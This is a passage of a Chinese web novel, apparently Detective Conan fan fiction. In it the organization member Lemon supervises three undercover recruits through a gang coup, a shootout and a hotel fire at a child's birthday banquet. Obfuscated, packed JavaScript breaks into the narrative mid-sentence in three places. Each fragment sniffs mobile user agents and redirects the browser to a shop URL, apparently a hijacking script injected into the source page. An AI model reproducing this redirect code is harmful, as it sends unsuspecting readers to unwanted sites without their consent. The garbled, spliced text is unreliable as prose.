这个酒店正是岛田龙生要给女儿举办生日宴会的地方,表面上是一家普通酒店,实际则是断空组名下的重要产业,也是他们的重要据点,组内的日常会议甚至都在该酒店召开,可以算是断空组的核心之一。 相应的,防守也非常严密。 “怎么样,能把它回收吗?”电话里那位糟老头子温声询问。 “请boss放心,莱蒙随时准备好了完成任务!” “嗯,年轻人有活力是好事。”boss在那头抿了口茶,“说起来,我丢了三罐茶叶这件事你有头绪吗?” 什么?!什么人连boss最后一罐茶叶都不放过,太过分了! “不知道,不清楚。不过对于这种不把boss放在眼里,光天化日之下公然行窃的行为我认为有必要进行严厉谴责,下一步,要更加抓紧安全防范工作……” “可以了。”boss缓缓又咽下一口茶,“转人工吧。” 知花裕树恭敬地问:“糟,咳,boss大人,您还有什么吩咐?” “断空组的老大也算我的老朋友。” “竟有此事?” “麻烦莱蒙帮我杀了他吧,做得干净点。” Boss对于朋友的定义知花裕树向来不敢苟同,不过考虑到boss看上去也没什么文化的样子,知花裕树早早就放弃了纠正boss,这玩意儿叫敌人、对手,实在不行叫对家也可以,就是不叫朋友。 “没问题,boss,不过这算加班,得付1.25倍工资。”知花裕树强调道。 暗杀这种事情一向是行动组负责的,他这种自定义为人事部的员工干这种事不仅属于加班,还属于跨部门加班。 “加工资这个事你去和朗姆说。”boss轻轻把皮球推了出去,“需要人手帮忙,就找那几个新人,多试试他们的本事。” 还是新人好用啊,什么脏活累活都能扔给他们,还不用付工资。 有时候知花裕树真的很想劝新人们报警,因为自己也不想坐牢,才勉强作罢。 可恶,这不是马上就会变成该被挂路灯的资本家了吗! …… 周五,下午5时,杯户松滁大酒店。 生日宴正式开场是在7点,不过大多数人都会选择提前到场以示尊敬。 安室透已经提前两天以侍应生的身份混入了酒店,因为颜值比较出众成功被领班安排到了今天当值。 金发青年白衬衣严实地扣到最后一个扣子,黑马甲束出劲瘦的腰身,嵌了宝石的领带矜贵异常,引来不少贵妇暗送秋波。 他一一不动声色地挡回去。 断空组的宴会不乏商界名流出没,平日里剑拔弩张的同行也堆出笑脸虚与委蛇,觥筹交错,纸醉金迷,只有头顶和舞台上悬挂的白兔气球勉强昭示着这是一个六岁小女孩的生日宴。 安室透的目光逡巡过场内,随后拿起一瓶喝空了的酒放在空托盘上装作要去换酒的样子退到了走廊上,进入消防通道。 这个地方一般不会有人来。 他放下托盘,按着耳朵上挂着的通讯器在任务行动小组内部通讯频道说:“事情似乎有些不对劲。” 嗞啦两声。 诸伏景光:“出什么事了?难道石坂勇斗今天没来?” “不,他倒是在会场……” 知花裕树悄悄从背后靠近金发青年,他搓了搓手,试图对安室透发起一个萩原研二和松田阵平式的朋友搭肩。 他暗暗给自己鼓劲:没问题的,知花裕树,朋友都是这个样子的,迈过这一步,你就成长啦! 系统也大气不敢出,生怕孩子的勇气一戳就漏。 知花裕树的爪子搭到了波本肩上,下一秒直接天旋地转。 正在通话中忽然被偷袭然后下意识来了个过肩摔的安室透:“……” 凭他的警惕性,通常不会等到被他人近身了才察觉,所以他才会在发觉到有人拍上自己肩膀时反应这么大。 ——莱蒙似乎比他想的还要厉害,尽管他有时候会表现得不那么靠谱。 懵懵的知花裕树扶正差点被摔掉的面具:“?” 反应过来后的金发青年马上上前扶起了对方,很懂人情世故地道歉:“非常抱歉,莱蒙先生,是我反应过度了。” 安室透至今还没完全摸懂莱蒙的性格,不过这种莫名其妙给前辈一个过肩摔的事情一般人会生气也很正常……只希望莱蒙看在任务还在进行中的份上先别计较。 而知花裕树的反应是——他狗狗祟祟地又伸出爪子搭上安室透的肩膀。 对对方靠得这么近有些不适但强行忍耐的安室透:“?” 这是在干嘛? 对他的过肩摔表示不满试图近距离用面具丑死他吗? 知花裕树期待道:“能不能再来一次?就刚刚那下!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136947|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 安室透:“??” 没听过这样的要求。 但能摔领导的机会没人会放过。 安室透再次发起过肩摔,不过有了准备的知花裕树一扭身子,完美落地。 他还自己配音。 “莱蒙选手,去掉一个最高分,去掉一个最低分,10分!” 银发青年今天还是穿着那身丁零当啷的白袍子,旋身落地时衣角翻飞,好似一只白鸽。 只是没有白鸽会有这么丑一张脸。 安室透朝消防通道外看了眼,确保没人关注这边。 “莱蒙先生,你怎么会在这里?” 身为新人任务考核者,莱蒙没必要亲自到新人任务现场来。 更何况他这副面具实在很难不引人注目,他的出现只会给任务带来麻烦。 安室透心里一动,试探道:“而且你在这边还戴着这个辨识度这么高的面具,万一被看到就麻烦了。” ——如果能让莱蒙就此摘下面具就好了。 “没事,没人看到我进来。”对于已被划入朋友圈范围的人,知花裕树的语气总是更温和一些。 他从安室透耳朵上摘下通讯器戴到自己耳朵上,“摩西摩西~” “是这样的,刚刚安室说得没错,目前的情况确实有变化。简单来说,断空组的二把手吉永太郎不满岛田龙生已久,他联合了支持他的部分手下,打算在今晚动手,逼宫造反。” “这并不影响你们的新人任务,不过boss又新加了一个任务,算是附加题吧,答不出来不扣分。” 刚用伪造请帖混入现场的诸星大:“附加题是?” “杀掉岛田龙生,不过如果吉永太郎成功了的话,就不用你们动手了。” 诸伏景光疑惑道:“一开始杀石坂勇斗的目的只是威慑断空组,为什么现在又要直接杀掉他们的老大?” 关于这件事知花裕树还去咨询过贝尔摩德,对方是这样说的。 “岛田龙生太贪心了,没什么本事,却什么生意都想做,他之前和墨西哥毒.贩的交易引起了国际刑警的注意,组织和断空组的交往又都是由岛田龙生负责的,所以boss才想在事态不可控前除掉他。” “我知道了。”诸伏景光在早就选好的狙.击点架好狙击.枪,他按住耳朵上的通讯器,冷冷道:“我这边没有问题了,等你们将目标人物引入指定地点就可以行动。” 知花裕树把通讯器扔回给金发青年。 安室透把通讯器扣回耳朵上,他瞥了眼莱蒙。或许是看的次数多了,也可能是消防通道灯光晦暗帮了大忙,如今这么近的距离和这副面具面对面,他竟然也不觉得想吐了。 “莱蒙,断空组内部的事情你为什么会这么清楚,难道组织在断空组还有卧底?——不方便的话不必回答。” “可以告诉安室君哦。”莱蒙的心情似乎很不错,因而很好说话,“是我勾.引了吉永太郎的情妇套到的话。那家伙真的,都快六十岁了竟然还养二十六的情妇——我该夸他养的不是十六的还算有底线吗?” 安室透:“……” 他有点不知道该不该相信莱蒙说的话。 勾引情妇套到的话?别的不说,莱蒙的身材确实看上去很好,只是戴着那张面具的话。 ——绝对不会有女性能看上他!绝对! 莱蒙忽然对着他歪了下脑袋。 “安室,你是不是很想知道我到底长什么样?” 安室透一愣,大脑飞速思考该如何回答。 你误会了,我没有这样想?我确实想知道,但只是情报人员对神秘主义者的天生好奇? “想知道的话可以给你看哦,这是朋友的特权。” 15.第十五章 他什么时候变成莱蒙的朋友了?不是说要经过考验吗? 安室透故作矜持了下,正要说“确实有些好奇”,就听到外面传来隐隐的嘈杂声,似乎是生日宴会要开始了。 知花裕树马上被转移了注意力,他朝外面侧耳听了两下,对安室透说:“看起来你们也要抓紧行动了,那就下次再说吧。” 安室透:“……” 到底谁定的开场时间!晚一会儿能怎样! 看到安室透不走,知花裕树还疑惑地挠了挠头,肢体动作写着:你还不走吗? 安室透悻悻离去。 知花裕树朝着他的背影挥了挥手,“祝你们武运昌隆~” …… 把工作都交出去了的知花裕树一身轻松,接下来只要确保岛田龙生死在这里就够了。 根据他的调查,吉永太郎是个有点本事的家伙,他能干掉岛田龙生的概率是很大的。 诸星大被安排在酒店的不同地点安装了炸.弹和烟雾.弹,等任务结束后引.爆制造混乱,既满足了知花裕树大场面的需求,也可以让参与任务的成员趁乱撤离。 这个活几乎没什么危险性。 知花裕树敲定由诸星大来负责这一趴的时候,从另外两人的目光里明晃晃地看出了“偏心!”的控诉。 没办法。 虽然确认这个世界的大部分人都是直男后,三人姑且都算是他单方面认定的朋友了,但朋友也有亲疏远近之分。 会自己交女友的莱伊在知花裕树看来理所应当就是更亲近的朋友。 好朋友当然要给他安排轻松点的任务,万一莱伊在任务过程中受伤了,他女友多心疼。 而且再万一,伤得重了,缺胳膊断腿甚至不举了,他女友不要他了怎么办! 莱伊的幸福由他知花裕树来守护(握拳)!! 就是这样。 知花裕树掏出手机打开u盘的定位链接。发生骚乱的情况下,大家都忙着逃命,无人在意会场里的陌生人打算做什么,正是偷东西的好时候。 u盘被岛田龙生放到了自己位于15层的房间的保险柜里。知花裕树选择用枪暴力开柜。 事情进行得非常顺利。 路上,他还顺带提醒了吉永太郎的二十六岁情妇快点跑。 美丽的情妇姐姐眼眸波光潋滟地望着他,艳丽的红唇泛着玫瑰的色泽:“跟我走吧,我愿意和你一起浪迹天涯!” 知花裕树又把面具套脑袋上,“真的吗?哪怕我长这个样子也可以?” 情妇姐姐迅速冷静,“对不起,我忽然想起来,我的车只剩99%的油了,载不动我们两个人。” 情妇姐姐跑得太快了倒让知花裕树有些郁闷,[这只是一张面具,她不喜欢我又不是不能取下来。] 系统:[你这个面具可是能让人掉san的……现在知道组织的人面对你有多辛苦了吗?] 知花裕树悻悻地摸了摸脑袋。 u盘到手,任务完成,可以收工了。不过知花裕树没急着离开。 他在关心新朋友们的情况,虽然原则上新人任务是不许请外援的,但他是考官,他说了算。 在消防通道碰到安室透的时候,知花裕树在他身上粘了窃听器,此刻对方周身的声音正通过耳机传到他耳边。 听起来,他的新晋友人似乎遇上了什么麻烦。 …… 石坂勇斗是个蠢人,安室透不费什么力气就把他引到了事先观察好的狙击点。 诸伏景光的枪法很好,一枪毙命。随后诸星大引.爆炸.弹和烟雾.弹。 第一次配合三人就默契十足。 接下来只要趁乱撤退新人任务就算圆满落地,但通讯频道中没人提起撤退的事。 三个卧底都想在组织里往上爬,为此,他们都不愿放过能加分的附加题。 ——杀掉岛田龙生。 宴会厅在十楼。但是在断空组二把手吉永太郎发起“政变”后,岛田龙生带着他的手下从宴会厅突围,目前并不清楚是向上跑还是向下跑了。 简单商议过后,三人组决定由安室透负责从十楼往上搜索,诸星大从十楼往下搜素,刚开过枪的诸伏景光则要快速离开目前的狙击点,开车到后门随时准备接应二人。 十五分钟后,无论有没有找到岛田龙生,三人都必须离开此处。 因为杯户松滁大酒店所在的地点并不偏僻,反而算得上繁华,发生了这么大的动乱,警察肯定马上就会赶到。 在十二楼通向十三楼的楼梯上,安室透遇到了突发情况。 有人从十二楼进入了楼梯间。 来者一共有三人,西装革履,人高马大,非常标准的黑.道打扮。 “你是什么人?” 每个人手里都拿着枪。 安室透举起手,他的眼尾天生有几分下垂,看人的时候眨两下眼便显出几分无辜。 “我是酒店的服务生,怕被波及到才躲在这里。” “你看到岛田龙生了吗?”其中一个人问。 原来他们是吉永太郎的人,他们也在找岛田龙生。 “没有,我什么人都没看见。”安室透说着,一只手悄悄往腰后摸去。 他知道这些人不会放过他。 果然,对视一眼后,中间那个领头人用眼神示意另外两人杀掉他。 而安室透已经在对方交换目光时,拔出腰后藏着的匕首先发制人。 断空组会对进入宴会厅的人进行检查,安室透不像吉永太郎的人那样有自己的内部渠道偷偷送枪,两天的时间不够细细谋划,他最终只带了一把防身匕首。 不过足够了。 金发青年腰腿发力,一跃而起,仗着从上至下的优势瞬息之间来到第一个人面前,一刀封喉后,他顺势接住第一个人手里松掉的枪,没有任何停顿地直接对第二人后颈砸去。 他没有选择开.枪,因为枪声会引来更多的人。 可惜的是,混乱中只打中了对方的手臂。 好在他紧接着飞起一脚,重重踹在第二人手腕上,那人手骨90度向后偏折,手.枪脱手而出,铛铛铛在第二人疯狂的痛呼声中滚下了楼梯。 安室透也没有给第三人开.枪的机会。他在警校时就时常同松田阵平就搏击的相关技术进行亲切友好的互相切磋及学习,这种只有表面块头大的类型在他看来跟伏特加没什么区别。 简称为,不足为惧。 安室透再度踹飞了第三人手里的枪,连带着他本人也被踹得差点嵌进墙里,哇一下吐出一大口血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149892|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 意外就在此时发生了。 十二楼楼梯间的门再次被推开,一个低声啜泣的抱着兔子玩偶的小女孩走了进来,看到面前的一滩血后,她愣住了。 安室透心里暗道不妙,但第三人离小女孩的距离更近,他一把将小女孩箍紧了,匕首抵在她脖子上。 “你是岛田老大的人吧,这可是他女儿,他最疼这个女儿了,你最好赶紧放下枪,不然我就杀了她!” 假如安室透只是黑衣组织的人,这个威胁对他来说一点用都没有,但他偏偏还是公安警察,身为警察,他绝不可能放任这么小一个孩子在自己面前被人杀害。 安室透脑海里瞬息闪过许多同人质绑架犯虚与委蛇的招数,然而被逼到极点的犯人经不起任何一点惊吓与恐吓。 安室透能从他的目光中看出深深的恐惧与疯狂。这个人已经理智全无,而失去理智的人才是最可怕的。 他怀里的小女孩反倒展现出了不符合年龄的冷静,她停止了低声啜泣,漆黑的眼瞳安静地看着金发青年,仿佛在等待他审判自己的命运,甚至好像在说:没关系,放弃我也可以。 在安室透做出反应前,男人先有了动作。他一咬牙,目光里透出狠意,竟然一扭身,将手里的小女孩从打开的窗户口扔了出去。 ——这可是12楼!! 在大脑反应过来之前,安室透的身体已经动了。他本来距离男人就不远,两步一迈,飞身扑出窗口,在迎面扑来的夜风中将小女孩一把搂住,回身却没能抓住窗框。 ——所以这么高的楼,为什么不封窗! 在即将掉落的那千分之一秒,安室透大脑中迅速闪过许多思绪。事先调查过的酒店布局图在他脑海里以3维图像的方式展开。 遍布的空调外机、水管,没有关严的窗户飘出的窗帘,个别楼层设计的小阳台,大楼下被当作噱头卖点的参天大树……并非没有生机。 但在脑海中的一切假设展开、蔓延,直到血色铺陈在黑暗的天幕之下前,一只手抓住了他。 紫灰色的眼眸倒映着眼前的一切。 发现有人救他后,没有放弃的男人又挥着匕首上前,拉住他的那个人微微一偏头,匕首从那人一侧划过,绷带被划断。 面具和一缕银发从安室透身侧坠落,落入脚下不知哪一层燃起的火光中。 救他的人如猫似的蹲在窗框处,一手扒着内墙,一手紧紧抓着他的手。 他出乎意料地年轻,大约只有十七八岁的模样。皮肤白得像一团溶溶的雪气,身下的团团火光映在他眼底,逐渐在眼角处晕出点点殷红,如同血化开在雪里,最终如烙印般在眼角剜出一滴泪痣。 风吹开了额发和袍角,凉月栖息在他眉梢,他望着他轻笑了一下。 刹那间云开雨霁。 安室透一时间连表情管理都忘了。 ……这人谁? 好,他知道这个人穿着莱蒙的同款白袍,身上还挂着除了莱蒙没人会挂的乱七八糟叮铃咣啷的项链,甚至他还和莱蒙一样是银色短发,头发上也恰好戴了同款红色串珠的发饰,更甚至刚刚掉下去的那张面具都疑似和莱蒙是同款,但他还是要问—— 这人谁? 这个顶着一张堪称绝色的脸的男人到底是谁?! 16.第十六章 没等安室透梳理好自己的惊疑不定,那个男人意识到自己一击落空,很快又一次挥舞着匕首冲上来。 白袍少年一只手扒着内墙,一只手抓着他,根本没有还手的余地! “小心!” “别人说话你打架,很没礼貌欸!你没有父母吗?”少年的身体像液体的猫似的弓折出不可思议的角度,在毫厘之间避开了这一刀。 在匕首因为惯性无法折返发起第三次攻击的间隙,他手上用力,一把将安室透拽了上来,同时腰部发力,扭身一脚踢向男人拿匕首的手腕。 安室透配合着他的力道,单手抱着小女孩翻进窗子。 等安室透落地一滚卸力稳住身体后,男人已经倒在了血泊中。 而白袍少年刚堪堪站稳,两条手臂展开,如白鹤亮翅般做了个平衡身体的动作,腰间的链子、颈间的链子脆生生撞在了一起,余音阵阵回荡。 “侧空翻两周转体360度,莱蒙选手创造了新的历史,十分!” 安室透:“……” 嗯,这回无可辩驳地确认了,确实是莱蒙。 “唔,安室,你还好吗?”刚创造了历史的伟大的莱蒙选手忽然想起来有必要关心一下朋友有没有受伤。 少年的白袍沾了血迹,脸依然是瓷白干净的,灰色眼底仿佛沉睡着星空。 他担忧地看向安室透,目光逡巡了一圈寻找他身上可能的伤势。 但金发青年身上喷洒了许多敌人的血,一时半会儿还真不好分辨。 “……我没事。”安室透下意识隐藏了自己刚刚搏斗时被匕首划破的一点伤,别开目光。 这家伙真是戴不戴面具都在某种意义上令人不能直视。 不,还不如戴面具呢。 差点坠楼,又在千钧一发之际被救起的经历对一个六岁的小女孩来说还是太刺激了,她被放下来后也不肯离开安室透身边,紧紧抱着他的大腿。 安室透不忍心推开她,又担心自己这种救人的行为会导致立场被组织怀疑。 他摸了摸小女孩的脑袋,嗓音和表情却冷淡下来。 “这个小女孩是岛田龙生最疼爱的孩子,只要有了她,就能把岛田龙生钓出来。” 知花裕树被安室透的忽然变脸惊了一下。 他刚刚还以为对方是见义勇为,拯救一个无辜小女孩的生命于危急之中,还欣慰于组织新人的道德水准终于狠狠迈上了一个大台阶,可喜可贺。 没想到对方实际上是这样想的。 “你……”知花裕树鼓起勇气指责朋友,“你好恶毒。” 安室透:“?” 知花裕树一脸凝重,“不过没关系,我会包容。” 朋友不就是这样吗,包容对方所有的一切!就算安室杀人放火无恶不作,出轨乱○骗身骗心,他也会咬牙包容!! 安室透:“……谢谢。” 虽然不知道莱蒙脑子里都在想什么,但似乎不用担心立场被怀疑了。 小女孩听到安室透的危险发言后,抱着他大腿的手便犹豫着松开些许,而在知花裕树试着牵她时,她的小脸迅速涨红,乖乖地飞速扑到了他怀里。 安室透:“……” 他知道莱蒙长得比他好看,但也不必表现得这么明显。 和诸伏景光约定的时限是15分钟,目前还剩最后3分钟。 岛田龙生和吉永太郎的争斗也到了尾声,双方的人马都在不同的楼层间来回奔走,这里也很快会被人发现。 知花裕树拿出了他提前准备好的grigri,专业名称为自动制停保护下降器,这款下降器可以承受最高250kg的重量。 承受两个人问题不大,但要同时运送他们三个就不太够了。 那就只能分两批。 知花裕树直接把绳子缠到了安室透腰上——一开始和对方突破自己2米的舒适防范区时知花裕树还会下意识绷紧身体,但如今肩也搭了,手也拉了,金发青年还是一副没什么反应的反应。 这种反应就很让知花裕树放心。 这什么美好的世界啊,原来过去几年他居然是生活在这么一个全员直男的世界吗!他竟然还一直封闭自己。 可恶,蹉跎青春啊! 系统:[呵,早和你说了你就是不信。] 被套绳子的时候,安室透愣了下,他意识到莱蒙是打算让他先走。 如果此刻是琴酒这么做,安室透丝毫不会怀疑,楼下指定有几十把霰.弹枪等着他。不过才刚救了他的莱蒙倒不像是缺德至此的人。 “不,莱蒙……” “我是领导听我的,不听将来就给你穿小鞋。”白袍少年神气十足,一句话将安室透钉在原地,他的手从安室透手臂下探过,将绳子从他背后穿过去,又在身前打结。 这并非专业的用法,但对于他们这些天天和危险打交道的人而言足够了。 安室透的身高要比莱蒙高一些,对方靠近的时候,他的视角自然变成了自上而下。 没了火光的映照,少年的皮肤更好似雪堆成一般,银白色的睫毛恰如扑簌的雪花,而左眼眼角一滴泪痣,黑得触目惊心。 他身上有种令人心悸的美——安室透知道这么形容一个男性有点奇怪,但这确实是第一时间浮上心头的想法。 长成这个样子去当电影明星不好吗,为什么想不开加入组织?而且他看上去才不过十七八岁,竟然已经是组织资历很深的干部了,他什么时候加入组织的?难道是组二代? 安室透抱着小女孩先一步用grigri跳了下去。从第3层到第5层都燃起了火光,穿过去的时候滚烫的热气和浓烟扑鼻而来,好在只有一瞬。 两人平稳落地。 后门口,组织的车处在启动状态,诸伏景光坐在开着窗的驾驶座,诸星大拿枪守在敞开的车门口,看到安室透怀里抱着的小孩子时,他一愣。 “这是岛田龙生的女儿。”简单解释了一句,安室透放下小女孩。 诸星大看了眼小女孩,眸光有些复杂。 警笛声穿破了夜空,数辆警车包围了酒店,消防车也在火势最猛的地方停下,训练有素的消防员迅速拿着消防设备出动。 再不离开连他们也会被堵在这里,但是安室透并没有要走的意思,反而对另外两人说:“再等一下。” 两人顺着金发青年的目光看向黑暗中遥迢的长空。 那个grigri并没有被回收,或许是时间来不及了。 凭借良好的视力,三人都能清楚地看到,白色的身影冲破12楼的窗户,急速坠落到六七楼又减缓—— 安室透心理一惊,莱蒙竟然选择了无防护措施直接跳,只靠着绳索减缓坠势。 3楼到5楼的火势更猛了。但是白色的身影并没有停顿,如飞蛾般穿透火海,白色衣袂烧起火光,仿佛张开的血色翅膀。 如一支白羽箭穿破火光,少年轻盈落地,匕首利落地划掉燃烧的袍角。他取下手套,抬起手,指尖从眼尾下抹过,手指上的血迹在雪白的皮肤上留下流云般的红痕。 银发上用作装饰品的红色串珠绷断了一侧的固定物,一颗颗圆润的小珠子缀在少年一侧鬓角,一团雪气里洇开点点红墨。 火光在他身后燃烧,夜风吹开鬓发,被几个人注视着,他竟像是有几分害羞似的抿着唇笑了下。 “我们得快点走了,警察很快就会到这边。” 知花裕树自顾自走到停着的车子旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162872|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,竟然被他最好的朋友拦住了。黑色长发男人目光犹疑,沉声道:“……你是谁?” 诸伏景光的疑惑紧随其后:“你是莱蒙?!” 哪怕是在这样紧迫的、空气里还漂浮着浓烟味道的环境下,安室透也不由觉得一阵神清气爽。 ——你们也觉得很离谱吧! “本大人行不更名坐不改姓,莱蒙是也。”知花裕树没意识到他们在惊疑个什么东西,只是觉得自己的朋友们似乎都不太聪明的样子,明明都认识过了,才过去两天就不记得了,还要他再自我介绍一次,不过没关系啦。 他会包容(严肃)。 “不过其实我一开始想要的代号是琴酒来着……算了,不说这个了。” 不,这个倒是说一说啊! 没有时间再给他们耽搁了,诸星大让开位置,让知花裕树上了车。那小女孩也想跟上来,被知花裕树制止了。 少年低垂眉眼,将小女孩轻轻往后一推,眼角的泪痣在火光里明明灭灭。 他沉声道:“别过来,这边不是你……”安室透跟在他身后上车,把他挤到了车后座,打断了他的吟唱。 知花裕树顽强地伸长了脖子装完这段他从经典警匪电影里学会的话—— “……可以涉足的领域,到此为止吧。” 诸星大体贴地等他说完才关上车门。 不远处的声音混着夜风从打开的车窗飘进来。 “那边好像还有人!” “快点!” “3队带人到后门处!先疏散无关人员,搜寻是否还有被困人员!” 诸伏景光启动了车子,从车子的后视镜可以看到大火的火光正渐渐趋小,满身灰尘血渍的小女孩安静地留在原地,目光一直追着他们的车子。 而小女孩的身后,许多警察和消防员正朝着她的方向跑来。 诸伏景光从里面看到了两个熟悉的身影,他瞳孔一缩,快速移开目光。 确实,这种发生了爆.炸的现场,他们会出现在这里也不足为奇。 …… “岛田龙生被杀了,吉永太郎的叛变成功了。”离开丰岛区的路上,诸星大和最后才冲出酒店的两人分享情报。 岛田龙生是在5楼被杀的,诸星大亲眼目睹了他的死亡,那场燃起的大火也和这件事有关。 这个结果也在知花裕树的预料之中,从他前期的调查就能察觉到,吉永太郎各方面的能力都要比他老大强得多,他本人又是那种很有野心的类型,造反只不过是时间问题。 整起事件中,唯一可怜的只有那个才六岁的小女孩。那个年纪,她并不知道父亲在做的是什么样的事情,而母亲又早早过世……从今晚开始,她的人生注定会发生翻天覆地的变化。 但知花裕树没有办法帮她,他只能用这双手尽可能把她推到更干净的地方。 不管怎么说,boss交代的任务算是顺利完成了。 车子里陷入了沉默。 诸伏景光专心开车,诸星大原本就话不多,此刻长腿一支闭目养神,安室透也没什么话好说,拿了车上放的备用医药箱给自己处理伤口。 因为伤在手臂,缠绷带有些不方便。 知花裕树看见了,跃跃欲试地要帮他。 那双极漂亮的眼睛恳切地望过来的时候,这世上想必没几个人能狠心拒绝他的请求。 安室透:“……” 要不他还是帮对方把那张丑面具找回来吧,他现在觉得那玩意儿看习惯了也挺好的,卧底本来就不容易,何必还要再上强度。 知花裕树接过绷带帮安室透处理伤口,他垂下眼睫,目光专注,像是不经意地忽然用闲聊的口吻问:“说起来,你们中谁是卧底?” 17.第十七章 为了避免安室透的伤口因为感染或者别的并发症导致伤势不断恶化最终不得不截肢以至于后半生只能靠右手生活,知花裕树非常认真地在给他包扎。 过了十几秒,他才意识到——欸?为什么大家都安静了? 他奇怪地抬头,目光在车内逡巡一圈。 绿川希罗的表情看不到,但诸星大和安室透的表情为什么这么凝重又防备? 他也没说什么啊,不就问了下谁是卧底吗? 安室透语气沉下来:“你这么问是因为发现了什么吗?我可绝对不是卧底,至于其他两个人……”他的目光警惕又冰冷地掠过其他两人。 “欸?我没有发现什么呀。”绕了三圈后,知花裕树觉得还不够保险,手下的绷带继续绕圈,“只是前些年组织的卧底含量太多了,我让技术组进行了数据分析,发现换算下来,每批代号新人的卧底加叛徒含量高达30%,这样说的话,你们之中应该有一个卧底才对。” 他顿了下,抬头对安室透露出淡笑。他皮肤白,唇瓣的颜色却有些深,这么惬意又得意的一笑冲淡了身上雪一般的冷意,车窗外飞速闪过的霓虹和窗缝里漏进来的夜风一道吹落在他眼底。 莱蒙背对着诸星大,诸伏景光在前方开车,这个笑容只有安室透一个人看到。 “也可能不止一个。”他慢悠悠把话说完。 安室透:“……” 有没有一种可能,组织安排莱蒙考核新人就是想让他用美人计来试探他们这些人,如果有意志不坚定的人,说不定真会迷失在他轻柔的微笑中。 可惜的是,他对男人没有兴趣,而且在卧底前针对蜂蜜陷阱的特训中也拿了满分的成绩。 诸星大:“这种概率问题只能说明整体,似乎不能应用在个人身上。” 知花裕树缠完最后一圈,开始打蝴蝶结,他不忘回头对着黑色长发男人肯定地一点头,“放心,诸星你绝对不会是卧底,这我是知道的。” 诸星大很想问你到底是怎么知道的,坦白说,莱蒙这种对他无缘无故的好感也令他非常为难,世界上没有无缘无故的爱恨,不知道原因的话,这种没道理的偏爱就是一颗定时炸.弹。 “我目前最怀疑的其实是你,绿川。” 安室透一直盯着莱蒙的眼睛瞳孔微微一缩,“这又是为什么,绿川做了什么可疑的事情吗?” 知花裕树理所当然地说:“30%的概率,我总要挑一个人出来。” 驾驶座那里传来略显失落的嗓音,“这么说的话,莱蒙最讨厌的是我?” 知花裕树:“……” 他好像说错话了,绿川希罗会不会觉得他被职场霸凌了啊?这可不行,他看电影的时候最讨厌那些爱霸凌的职场前辈了。 知花裕树还没搜索到合适的道歉台词,安室透又说:“不过这种无凭无据的猜测就算上报,组织也不会当回事的吧。” “我不会上报的。”打包,啊不是,包扎完成,知花裕树抬头对上了安室透的眼眸,对方飞快别开视线,一顿,又移回来。 知花裕树:“?” 这是眼睛不舒服吗? “这么说是希望如果你们之中有卧底的话最好提前告诉我一声。我可不像boss和黑那样对卧底深恶痛绝,我觉得你们最好也不要那样,发现卧底不要急急忙忙就杀掉人家,确认对方没有掌握绝密情报的话,悄悄放掉就行了。把警察都杀掉,谁来维护社会治安,社会如果不安定,我们又怎么安心地违法犯罪?” 知花裕树掏出一副眼镜架在鼻梁上,一副资深学者的派头。 “你们不懂,这叫可持续性违法犯罪。” 被这段未曾听闻的可持续性违法犯罪高论震慑到的三个卧底:“……” “先不说那个。”安室透稳了稳心神,举起自己被包成系了蝴蝶结的超绝木乃伊的左手,“我只是划破了一道口子,有必要包成这个样子吗?” 知花裕树正色:“这就是友情的份量。” …… 任务结束,知花裕树一个人回到了裕树小屋。他脱下那身沾了血污的脏衣服,冲了个淋浴,从衣柜里一排熊猫兔子狐狸狼狗猫的连体睡衣里挑了件海豚的,在书桌前坐下,打开台灯,摊开信纸。 [亲爱的boss: 见信如晤。 当您看到这封信的时候,请不必为我担心,我还活得好好的。您交代的任务已全部完成,随信附上本次的新人考察报告。 诸星大:当你说世界上没有什么人是完美的时,我会把诸星大的照片拿出来,无论是狙.击、情报、个人生活,他都完美到无可挑剔,而且他和黑在某些方面感觉很像,职能也出现了部分重合,我建议速速将黑的封号(划掉)代号褫夺,我愿意勉为其难继承黑的代号,然后慷慨地把自己的代号让给诸星大。至于具体的任务过程……。这样的贤能之士假如不能被boss收入囊中,怎能不算是组织的损失呢? 安室透:别的都可以,只是道德水平有待提高(为人过于缺德!)。 绿川希罗:狙.击很快,开车很稳,道德水平不详。 以上三人全部通过新人考核,同意获得代号。 ps:三人都说自己不是卧底。 再ps:请问什么时候涨工资!] 写完报告,知花裕树来到隔壁太平间。3号柜里的尸体已经下葬了,他也让财务组给白鸟龙太的家人发放了抚恤金。 他拉开做得最宽敞的1号柜,躺了进去。 因为身体的能量都是由系统供应的,而系统的储备有限,为了节省能量,知花裕树和系统商量过后,决定在每晚的睡眠时刻,让系统将能量供应降到最低。 